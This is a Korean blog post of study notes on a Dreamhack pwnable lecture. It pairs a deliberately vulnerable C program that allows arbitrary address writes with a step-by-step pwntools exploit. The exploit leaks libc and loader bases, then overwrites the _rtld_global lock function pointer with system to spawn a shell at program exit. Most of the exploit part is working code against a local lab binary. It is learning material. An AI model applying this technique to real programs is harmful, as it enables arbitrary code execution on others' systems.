[Dreamhack] Linux Library exploit: 2 - overwrite __rtld_global

securitykss·2023년 2월 28일
0

Pwnable 강의(dreamhack)

목록 보기
49/58

https://dreamhack.io/lecture/courses/269 을 토대로 작성한 글입니다.

1. Introduction

프로그램에서 리턴 명령어를 수행하면 라이브러리와 로더에서 다양한 함수를 호출하면서 정상 종료된다.

이 과정에서 읽고 쓸 수 있는 영역에 존재하는 함수 포인터를 호출하기 때문에 임의 주소 쓰기 취약점이 있다면 해당 포인터를 덮어써서 프로그램의 실행 흐름을 조작할 수 잇다.

// Name: ow_rtld.c
// Compile: gcc -o ow_rtld ow_rtld.c

#include <stdio.h>
#include <stdlib.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

int main() {
  long addr;
  long data;
  int idx;
  init();

  printf("stdout: %p\n", stdout);

  while (1) {
    printf("> ");
    scanf("%d", &idx);
    switch (idx) {

      case 1:
        printf("addr: ");
        scanf("%ld", &addr);
        
        printf("data: ");
        scanf("%ld", &data);
        *(long long *)addr = data;
        
        break;

      default:
      	return 0;
    }
  }
  return 0;
}

code description

stdout 라이브러리 주소를 출력하고,

입력한 addr 주소에 data를 삽입하는 임의 주소 쓰기 취약점이 존재한다.

Full RELRO 가 걸려있어 GOT overwrite는 못한다.

2. Exploit

2.1 exploit design

1. 라이브러리 및 로더 베이스 주소 계산

예제에서 제공한 stdout 주소를 통해 라이브러리의 베이스 주소를 구하고,

"/lib64/ld-linux-x86-64.so.2"가 매핑된 로더의 베이스 주소를 알아낸다.

라이브러리와 로더가 매핑된 주소의 간격은 일정하기 때문에 디버깅을 통해 간격을 알아내고 오프셋을 계산해서 알아낼 수 있다.

2. _rtld_global 구조체 계산

로더의 베이스 주소를 알아냈다면, rtld_global 구조체의 심볼 주소를 더해 해당 구조체의 주소를 알아낼 수 있다.

해당 구조체 주소를 구했다면, 멤버 변수인 _dl_load_lock과 _dl_rtld__lock_recursive 함수 포인터의 주소를 구한다.

3. _rtld_global 구조체 조작

프로그램을 종료하는 과정에서 _rtld_global 구조체의 _dl_load_lock을 인자로

_dl_rtld_lock_recursive 함수 포인터를 호출한다.

따라서 dl_load_lock에 "/bin/sh" 또는 "sh" 문자열을 삽입하고

dl_rtld_lock_recursive를 system 함수로 덮어쓰면 셸을 획득할 것이다.

2.2 라이브러리 및 로더 베이스 주소 계산

예제에서 주어진 stdout 라이브러리 주소를 이용해 라이브러리와 로더의 베이스 주소를 알아보자.

라이브러리의 베이스 주소는 IO_2_1_stdout 심볼 주소를 빼 쉽게 알아낼 수 있다.

로더의 주소는 디버깅을 통해 라이브러리 베이스 주소와 뺄셈하여 간격 차를 알아낸다면 쉽게 구할 수 있다.

두 주소의 간격은 0x3f1000임을 알 수 있다.

# Name: ow_rtld.py

from pwn import *

p = process("./ow_rtld")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
ld = ELF('/lib64/ld-linux-x86-64.so.2')

p.recvuntil(": ")

stdout = int(p.recvuntil("\n"),16)
libc_base = stdout - libc.symbols['_IO_2_1_stdout_']
ld_base = libc_base + 0x3f1000

print(hex(libc_base))

print(hex(ld_base))

p.interactive()

2.3 _rtld_global 주소 계산

이제 _rtld_global 구조체와 덮어쓸 멤버 변수의 주소를 구해보자.

멤버 변수의 주소는 각각 _rtld_global 구조체로부터 2312, 3840 오프셋 뒤에 위치한 것을 확인할 수 있다.

# Name: ow_rtld.py

from pwn import *

p = process("./ow_rtld")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
ld = ELF('/lib64/ld-linux-x86-64.so.2')

p.recvuntil(": ")

stdout = int(p.recvuntil("\n"),16)
libc_base = stdout - libc.symbols['_IO_2_1_stdout_']
ld_base = libc_base + 0x3f1000

rtld_global = ld_base + ld.symbols['_rtld_global']

dl_load_lock = rtld_global + 2312
dl_rtld_lock_recursive = rtld_global + 3840

p.interactive()

2.4 _rtld_global 구조체 조작

이제 _dl_rtld_loc_recursive를 라이브러리 함수 system으로 덮어쓰고,

dl_load_lock 주소에 'sh' 또는 '/bin/sh'을 넣으면 셸을 획득할 것이다.

# Name: ow_rtld.py

from pwn import *

p = process("./ow_rtld")

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
ld = ELF('/lib64/ld-linux-x86-64.so.2')

p.recvuntil(": ")

stdout = int(p.recvuntil("\n"),16)
libc_base = stdout - libc.symbols['_IO_2_1_stdout_']
ld_base = libc_base + 0x3f1000

rtld_global = ld_base + ld.symbols['_rtld_global']

dl_load_lock = rtld_global + 2312
dl_rtld_lock_recursive = rtld_global + 3840

system = libc_base + libc.symbols['system']

p.sendlineafter("> ", "1")
p.sendlineafter("addr: ", str(dl_load_lock))
p.sendlineafter("data: ", str(u64("/bin/sh\x00")))

p.sendlineafter("> ", "1")
p.sendlineafter("addr: ", str(dl_rtld_lock_recursive))
p.sendlineafter("data: ", str(system))

p.sendlineafter("> ", "2")

p.interactive()

마치며

프로그램을 종료하면서 호출하는 함수 포인터를 조작해 셸을 획득하는 실습을 했다.

exit 또는 리턴 명령어가 실행될 때에는 실제로 로더 내부에서 다양한 코드를 실행한다.

만약 라이브러리 또는 로더의 주소 중 하나의 주소만 알 수 있으면 두 주소 모두 알아낼 수 있으며,

이를 통해 _rtld_global 구조체를 조작하고 프로그램 종료 시에 임의 코드를 실행할 수 있다.

Reference

https://dreamhack.io/lecture/courses/269

profile
보안 공부를 하는 학생입니다.

0개의 댓글